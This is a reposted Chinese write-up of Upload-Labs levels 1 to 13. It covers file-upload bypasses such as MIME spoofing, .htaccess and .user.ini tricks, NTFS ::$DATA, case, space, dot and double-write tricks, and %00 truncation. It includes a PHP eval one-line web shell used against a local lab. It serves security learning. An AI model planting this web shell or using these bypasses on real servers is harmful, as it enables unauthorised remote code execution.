《Upload-Labs》01. Pass 1~13

news/2024/3/5 5:23:00/文章来源:https://blog.csdn.net/KeepPromise/article/details/133420375

Upload-Labs

  • 索引
  • 前言
  • Pass-01
    • 题解
  • Pass-02
    • 题解
    • 总结
  • Pass-03
    • 题解
    • 总结
  • Pass-04
    • 题解
  • Pass-05
    • 题解
    • 总结
  • Pass-06
    • 题解
    • 总结
  • Pass-07
    • 题解
    • 总结
  • Pass-08
    • 题解
    • 总结
  • Pass-09
    • 题解
  • Pass-10
    • 题解
  • Pass-11
    • 题解
  • Pass-12
    • 题解
    • 总结
  • Pass-13
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/c0ny1/upload-labs

部分题目可能需要白盒审计。

索引

  • Pass-01:前端绕过。
  • Pass-02:MIME-Type 绕过。
  • Pass-03:黑名单绕过之 ::$DATA 与双写绕过。
  • Pass-04:.htaccess 利用。
  • Pass-05:.user.ini 利用。
  • Pass-06:黑名单绕过之大小写绕过。
  • Pass-07:黑名单绕过之空格绕过。
  • Pass-08:黑名单绕过之点【.】绕过。
  • Pass-09:黑名单绕过之 ::$DATA 绕过。
  • Pass-10:黑名单绕过之点空格点绕过。
  • Pass-11:黑名单绕过之双写绕过。
  • Pass-12:白名单绕过之 %00 截断绕过,GET 方式。
  • Pass-13:白名单绕过之 %00 截断绕过,POST 方式。

前言

编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。

<?php echo 'Hello!';@eval($_POST['hello']);
?>

请添加图片描述

相关文章:

《一句话木马@eval($_POST[“cmd“]);是什么意思》
https://blog.csdn.net/qq_62708558/article/details/123030828

Pass-01

题解

任何前端验证都是纸老虎。

上传时使用 burp 拦截,并将文件后缀修改回 .php

在这里插入图片描述

上传成功,右键查看文件地址。

在这里插入图片描述

木马已成功执行。

在这里插入图片描述

尝试蚁剑连接,成功。

在这里插入图片描述

Pass-02

题解

上传文件并进行后缀与 Content-Type 绕过。

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

MIME-Type,资源媒体类型。

MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。

  • MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
  • 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
  • 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
    • 例如:Content-Type: text/html
  • 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。

常见的 MIME 类型

  • 超文本标记语言文本(.html、.htm):
    text/html
  • 普通文本(.txt):
    text/plain
  • RTF 文本(.rtf):
    application/rtf
  • GIF 图形(.gif):
    image/gif
  • JPEG 图形(.jpeg、.jpg):
    image/jpeg
  • au 声音文件(.au):
    audio/basic
  • MIDI 音乐文件(.mid、.midi):
    audio/midi, audio/x-midi
  • RealAudio音乐文件(.ra、.ram):
    audio/x-pn-realaudio
  • MPEG 文件(.mpg, .mpeg):
    video/mpeg
  • AVI 文件(.avi):
    video/x-msvideo
  • GZIP 文件(.gz):
    application/x-gzip
  • TAR 文件(.tar):
    application/x-tar

Pass-03

题解

之前的方法均失败。不过仍然是黑名单过滤。

由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA

上传成功但无法访问。

在这里插入图片描述

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):

.php::$D::$DATAATA

在这里插入图片描述

上传成功。

在这里插入图片描述

总结

::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。

NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。

Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。

例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php

除此以外,服务端对不合法的后缀名进行替换为空是常用手段。

Pass-04

题解

这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。

创建一个 .htaccess 文件并写入以下内容。

<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>

先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。

但是失败了。可能实现条件比较苛刻。

这里附上几篇参考文章:

《文件上传-uploadlab通关手册》
https://blog.csdn.net/qq_51153463/article/details/124547943

《upload-labs通关总结|那些年踩过的坑》
https://blog.csdn.net/m0_56691564/article/details/127614557

Pass-05

题解

已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。

先上传如下 .user.ini 文件。

auto_prepend_file=520.jpg

在这里插入图片描述

再上传木马,之后访问 readme.php 文件即可。

在这里插入图片描述

总结

参考文章:

《【文件上传漏洞】user.ini留后门》
https://blog.csdn.net/weixin_53146913/article/details/124840296

《文件上传:.user.ini的妙用》
https://blog.csdn.net/weixin_52635170/article/details/126962920

Pass-06

题解

上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

在这里插入图片描述

之后复制链接访问即可。

总结

对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。

Pass-07

题解

使用空格绕过。

抓包修改后缀名,在文件名最后加上一个空格。

在这里插入图片描述

之后访问即可。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-08

题解

使用点绕过。在文件名最后加上一个点。

在这里插入图片描述

上传成功。

总结

Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。

如果这样命名,系统在保存时会默认去除末尾的空格和点。

Pass-09

题解

原理与 Pass-03 相同,::$DATA 绕过。

在这里插入图片描述

Pass-10

题解

点空格点绕过(利用验证规则不完善)。

在这里插入图片描述

Pass-11

题解

双写绕过。

在这里插入图片描述

服务端对不合法的后缀名进行替换为空是常用手段。

Pass-12

题解

这题通过代码审计可以发现发现 $img_path 变量可控。

使用 %00 截断,让后面的代码不执行。

在这里插入图片描述

在这里插入图片描述

总结

%00 截断:

  • 利用手动添加字符串标识符的方式来将后面的内容进行截断。
  • PHP <= 5.3.4。
  • php.ini 文件中 magic_quotes_gpc = Off。

Pass-13

题解

与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。

POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。

在这里插入图片描述

在这里插入图片描述


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。

——《刘子》(北齐)刘子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ldbm.cn/p/138306.html

如若内容造成侵权/违法违规/事实不符,请联系编程新知网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

性格孤僻怎么办?改变性格孤僻的4种方法

性格孤僻是比较常见的说法&#xff0c;日常中我们说某人性格孤僻&#xff0c;意思就是这人不太合群&#xff0c;喜欢独来独往&#xff0c;话少&#xff0c;人际关系不太好&#xff0c;其言行往往不符合大众的价值观。从性格孤僻的角度来看&#xff0c;可能跟很多种心理疾病存在…

uniapp 实现下拉筛选框 二次开发定制

前言 最近又收到了一个需求&#xff0c;需要在uniapp 小程序上做一个下拉筛选框&#xff0c;然后找了一下插件市场&#xff0c;确实有找到&#xff0c;但不过他不支持搜索&#xff0c;于是乎&#xff0c;我就自动动手&#xff0c;进行了二开定制&#xff0c;站在巨人的肩膀上&…

经历网 微信二维码 制作方法

1、谷歌浏览器&#xff0c;打开要制作微信二维码的 网站页面 2、点击页面空白处&#xff08;此步为了使鼠标激活页面&#xff0c;可省&#xff09;&#xff0c;点击鼠标右键&#xff0c;弹窗 点选 为此页面创建二维码&#xff0c;点击下载到自己指定的地方。完成。 下载下来的…

【前段基础入门之】=>CSS 常用的字体文本属性

导读&#xff1a; 这一章&#xff0c;主要分享一些 CSS 中的一些&#xff0c;常用的 字体和文本方面的属性。 文章目录 字体属性字体大小字体族字体风格字体粗细字体复合写法 文本属性文本间距文本修饰文本缩进文本水平对齐行高vertical-align 字体属性 字体大小 属性名&…

inndy_echo

inndy_echo Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)32位&#xff0c;只开了NX int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {char s; // [espCh…

麒麟信安服务器操作系统V3.5.2重磅发布!

9月25日&#xff0c;麒麟信安基于openEuler 22.03 LTS SP1版本的商业发行版——麒麟信安服务器操作系统V3.5.2正式发布。 麒麟信安服务器操作系统V3定位于电力、金融、政务、能源、国防、工业等领域信息系统建设&#xff0c;以安全、稳定、高效为突破点&#xff0c;满足重要行…

深度学习——模型选择、欠拟合和过拟合

深度学习——模型选择、欠拟合和过拟合 文章目录 前言一、训练误差和泛化误差1.1. 统计学习理论1.2. 模型复杂性 二、模型选择2.1. 验证集2.2. K折交叉验证 三、欠拟合 or 过拟合3.1. 模型复杂性3.2. 数据集大小 四、多项式回归4.1. 生成数据集4.2. 对模型进行训练和测试4.3. 三…

Elastic SQL 输入:数据库指标可观测性的通用解决方案

作者&#xff1a;Lalit Satapathy, Ishleen Kaur, Muthukumar Paramasivam Elastic SQL 输入&#xff08;metricbeat 模块和输入包&#xff09;允许用户以灵活的方式对许多支持的数据库执行 SQL 查询&#xff0c;并将结果指标提取到 Elasticsearch。 本博客深入探讨了通用 SQL …

数据链路层 MTU 对 IP 协议的影响

在介绍主要内容之前&#xff0c;我们先来了解一下数据链路层中的"以太网" 。 “以太网”不是一种具体的网络&#xff0c;而是一种技术标准&#xff1b;既包含了数据链路层的内容&#xff0c;也包含了一些物理层的内容。 下面我们再来了解一下以太网数据帧&#xff…

Transformers.js v2.6 现已发布

&#x1f92f; 新增了 14 种架构 在这次发布中&#xff0c;我们添加了大量的新架构&#xff1a;BLOOM、MPT、BeiT、CamemBERT、CodeLlama、GPT NeoX、GPT-J、HerBERT、mBART、mBART-50、OPT、ResNet、WavLM 和 XLM。这将支持架构的总数提升到了 46 个&#xff01;以下是一些示例…

ubuntu20安装nvidia驱动

1. 查看显卡型号 lspci | grep -i nvidia 我的输出&#xff1a; 01:00.0 VGA compatible controller: NVIDIA Corporation GP104 [GeForce GTX 1080] (rev a1) 01:00.1 Audio device: NVIDIA Corporation GP104 High Definition Audio Controller (rev a1) 07:00.0 VGA comp…

stable diffusion模型评价框架

GhostReview:全球第一套AI绘画ckpt评测框架代码 - 知乎大家好&#xff0c;我是_GhostInShell_&#xff0c;是全球AI绘画模型网站Civitai的All Time Highest Rated (全球历史最高评价) 第二名的GhostMix的作者。在上一篇文章&#xff0c;我主要探讨自己关于ckpt的发展方向的观点…

测试用例的编写(面试常问)

作者&#xff1a;爱塔居 专栏&#xff1a;软件测试 作者简介&#xff1a;不断总结&#xff0c;才能变得更好~踩过的坑&#xff0c;不能再踩~ 文章简介&#xff1a;常见的几个测试用例。 一、淘宝购物车 二、登录页面 三、三角形测试用例 abc结果346普通三角形333等边三角形334…

Scala第一章节

Scala第一章节 scala总目录 章节目标 理解Scala的相关概述掌握Scala的环境搭建掌握Scala小案例: 做最好的自己 1. Scala简介 1.1 概述 ​ Scala(斯嘎拉)这个名字来源于"Scalable Language(可伸缩的语言)", 它是一门基于JVM的多范式编程语言, 通俗的说: Scala是一…

【从入门到起飞】JavaSE—Stream流

&#x1f38a;专栏【JavaSE】 &#x1f354;喜欢的诗句&#xff1a;更喜岷山千里雪 三军过后尽开颜。 &#x1f386;音乐分享【如愿】 &#x1f970;欢迎并且感谢大家指出我的问题 文章目录 &#x1f354;Stream流的作用&#x1f354;Stream流的使用步骤&#x1f384;获取Strea…

Android Shape设置背景

设置背景时&#xff0c;经常这样 android:background“drawable/xxx” 。如果是纯色图片&#xff0c;可以考虑用 shape 替代。 shape 相比图片&#xff0c;减少资源占用&#xff0c;缩减APK体积。 开始使用。 <?xml version"1.0" encoding"utf-8"?…

100行 python实现Android与windows局域网文件夹同步

编程解决一切烦恼 Obsidian搭建个人笔记 最近在使用Obsidian搭建个人云笔记 尽管我使用腾讯云COS图床gitee实现了云备份&#xff0c;但是在Android上使的Obsidian备份有点麻烦。还好我主要是在电脑端做笔记&#xff0c;手机只是作为阅读工具。 所以&#xff0c;我写一个局域…

Spring Boot 技术架构图(InsCode AI 创作助手辅助)

Spring Boot 技术架构是一种用于构建现代应用程序的框架&#xff0c;它可以与各种前端、代理、网关、业务服务、中间件、存储、持续集成和容器服务集成在一起&#xff0c;以创建功能强大的应用程序。 源文件下载链接&#xff01;&#xff01;&#xff01;&#xff01;&#xff…

02-Zookeeper实战

上一篇&#xff1a;01-Zookeeper特性与节点数据类型详解 1. zookeeper安装 Step1&#xff1a; 配置JAVA环境&#xff0c;检验环境&#xff1a; java -versionStep2: 下载解压 zookeeper wget https://mirror.bit.edu.cn/apache/zookeeper/zookeeper-3.5.8/apache-zookeepe…

Android Studio 的aapt2.exe在哪个目录下

一般在&#xff1a;C:\Users\admin\AppData\Local\Android\Sdk\build-tools\30.0.2&#xff08;不一定是30.0.2&#xff0c;这个得看你的版本&#xff09; 怎么找&#xff1a; 1.打开Android studio